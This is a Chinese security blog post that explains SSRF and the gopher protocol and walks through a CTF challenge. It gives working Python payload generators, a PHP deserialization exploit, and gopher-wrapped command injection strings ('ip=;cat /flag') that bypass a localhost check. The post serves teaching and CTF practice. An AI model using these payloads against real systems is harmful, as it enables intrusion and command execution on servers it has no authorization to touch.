Gopher协议在SSRF漏洞中的利用


SSRF 简介

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统 (正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。)

在这里插入图片描述

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。

攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。

从URL关键字中寻找:

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
......

漏洞攻击方式

  1. 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
  5. 下载内网资源,利用file协议读取本地文件或资源等
  6. 内部任意主机的任意端口发送精心构造的Payload
  7. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  8. 进行跳板
  9. 利用Redis未授权访问,HTTP CRLF注入实现getshell

什么是Gopher协议?

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。

Gopher协议支持发出GET、POST请求:可以先截获GET请求包和POST请求包,在构成符合Gopher协议的请求。Gopher协议是SSRF利用中最强大的协议

Gopher协议格式

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

// 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流
  • gopher的默认端口是70
  • 如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

Gopher发送请求HTTP GET请求

使用Gopher协议发送一个请求,环境为:用nc起一个监听,用curl发送gopher请求

在vps上先用nc启动监听,监听2333端口:

nc -lvp 2333

然后我们本地使用curl发送http请求,命令为

curl gopher://39.xxx.xxx.210:2333/abcd

image-20200921121047025

此时vps上的nc会收到消息,收到的消息为:

image-20200921121111332

可以发现url中的a没有被nc接受到,如果命令变为

curl gopher://39.xxx.xxx.210:2333/_abcd

image-20200921121250229

此时nc收到的消息为:

image-20200921121310644

可以发现此时收到的消息就是完整的了,所以需要在使用gopher协议时在url后加入一个字符(该字符可随意写,可以为_

那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以了吗?在gopher协议中发送HTTP的数据,需要以下三步:

  1. 构造HTTP数据包
  2. URL编码、将回车换行符%0a替换为%0d%0a
  3. 发送gopher协议

我在vps(39.xxx.xxx.210)上准备了一个PHP的代码test.php,如下:

// test.php
<?php
    echo "Hello ".$_GET["whoami"]."\n"
?>

一个GET型的HTTP包,如下:

GET /test.php?whoami=Bunny HTTP/1.1
Host: 127.0.0.1

然后利用一下脚本进行一步生成符合Gopher协议格式的payload:

import urllib.parse
payload =\
"""GET /test.php?whoami=Bunny HTTP/1.1
Host: 39.xxx.xxx.210
"""  
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://39.xxx.xxx.210:80/'+'_'+new
print(result)

image-20200921123225367

注意这几个问题:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

然后执行:

curl gopher://39.101.219.210:80/_GET%20/test.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2039.101.219.210%0D%0A

image-20200921123210718

如上图,成功输出“Hello Bunny”。

Gopher发送请求HTTP POST请求

我在vps(39.xxx.xxx.210)上准备了一个PHP的代码test.php,如下:

// test.php
<?php
    echo "Hello ".$_POST["whoami"]."\n"
?>

然后,在发送POST请求前,先看下POST数据包的格式

POST /test.php HTTP/1.1
host: 39.xxx.xxx.210

name=Bunny

最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议

import urllib.parse
payload =\
"""POST /test.php HTTP/1.1
Host: 39.xxx.xxx.210
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

whoami=Bunny
"""  
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://39.xxx.xxx.210:80/'+'_'+new
print(result)

注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。

image-20200921131732635

使用curl发起gopher的POST请求:

curl gopher://39.101.219.210:80/_POST%20/test.php%20HTTP/1.1%0D%0AHost%3A%2039.101.219.210%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Awhoami%3DBunny%0D%0A

image-20200921131844964

如上图,成功输出“Hello Bunny”。

下面,我们来看一道SSRF中用,利用gopher协议发POST包,进行命令执行的CTF题目。

[2020 科来杯]Web1

进入题目后就给你源码:

image-20200921134331679

Index.php:

#index.php
<?php
error_reporting(0);
highlight_file(__FILE__);
//tool.php
class Welcome {
    protected $url;
    function gogogo($url) {
        if(!preg_match("/file|ftp/i", $url) && preg_match("/^\w+:\/\/127\.0\.0\.1/i", $url)) {
            $ch=curl_init($url);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $result=curl_exec($ch);
            curl_close($ch);
            echo ($result);
        }
    }
    function __wakeup() {
        $this->url='http://127.0.0.1/index.php';
    }
    function __destruct() {
        if(!empty($this->url)) {
            $this->gogogo($this->url);
        }
    }

}
unserialize($_POST['url']);
?>

这里很明显就是一个SSRF,url过滤了fileftp,但是必须要包含127.0.0.1。并且,我们还发现一个tool.php页面,但是该页面进去之后仅显示一个“Not localhost”,我们可以用这个ssrf将tool.php的源码读住来,构造反序列化payload:

<?php
class Welcome {
    protected $url = "http://127.0.0.1/tool.php";

}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>

生成:

O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Ftool.php%22%3B%7D

// O:7:"Welcome":1:{s:6:"*url";s:25:"http://127.0.0.1/tool.php";}

将Welcome后面表示对象属性个数的“1”改为“2”即可绕过__destruct()的限制。

image-20200921134812338

读出来tool.php的源码为:

tool.php:

#tool.php
<?php
error_reporting(0);
$respect_show_ping = function($params) {
   extract($params);
   $ip = isset($ip) ? $ip :'127.0.0.1';
   system('ping -c 1 '.$ip);
};
if ($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
   echo '<h2>Not localhost!</h2>';
}
else {
   highlight_file(__FILE__);
   $respect_show_ping($_POST);
}
?>

代码审计后可知tool.php页面存在命令执行漏洞。当REMOTE_ADDR为127.0.0.1时才可执行命令。REMOTE_ADDR头获取的是客户端的真实的IP,但是这个客户端是相对服务器而言的,也就是实际上与服务器相连的机器的IP(建立tcp连接的那个),这个值是不可以伪造的,如果没有代理的话,这个值就是用户实际的IP值,有代理的话,用户的请求会经过代理再到服务器,这个时候REMOTE_ADDR会被设置为代理机器的IP值。而X-Forwarded-For的值是可以篡改的。

既然这里要求当REMOTE_ADDR为127.0.0.1时才可执行命令,且REMOTE_ADDR的值是不可以伪造的,我们要想让REMOTE_ADDR的值为127.0.0.1,不可能通过修改X-Forwarded-For的值来实现,我们要利用SSRF。

我们可以利用index.php页面的SSRF利用gopher协议发POST包请求tool.php,进行命令执行。这样,整个攻击过程是在服务端进行的REMOTE_ADDR的值也就是127.0.0.1了。

SSRF,利用gopher发POST包,进行命令执行

import urllib.parse
test =\
"""POST /tool.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

ip=;cat /flag
"""  
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

这里因为我们是把payload发送到服务端让服务端执行,所以我们的Host和gopher里的Host为127.0.0.1。

生成gopher协议格式的paylaod为:

gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A

然后构造反序列化exp:

<?php
class Welcome {
    protected $url = "gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A";

}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>

生成payload:

O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A197%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Ftool.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2Fflag%250D%250A%22%3B%7D

同样将Welcome后面表示对象属性个数的“1”改为“2”绕过__destruct()的限制后执行:

image-20200921135622488

如上图,命令执行成功。

注意:这里要注意的是,我们发送的是POST包,而如果发送的是GET包的话,当这个URL经过服务器时,payload部分会被自动url解码,%20等字符又会被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要对payload进行二次URL编码。编码结果类似如下:

gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2ftool.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2fflag%250D%250A

SSRF中利用gopher协议反弹shell

gopher协议配合Redis进行SSRF等


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
 Previous
XPath 注入指南 XPath 注入指南
XPATH简介XPath即为XML路径语言,它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。XPath基于XML的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力,可用来
2020-10-04
Next 
PHP利用PCRE回溯次数限制绕过某些安全限制 PHP利用PCRE回溯次数限制绕过某些安全限制
PHP利用PCRE回溯次数限制绕过某些安全限制
2020-10-01
  TOC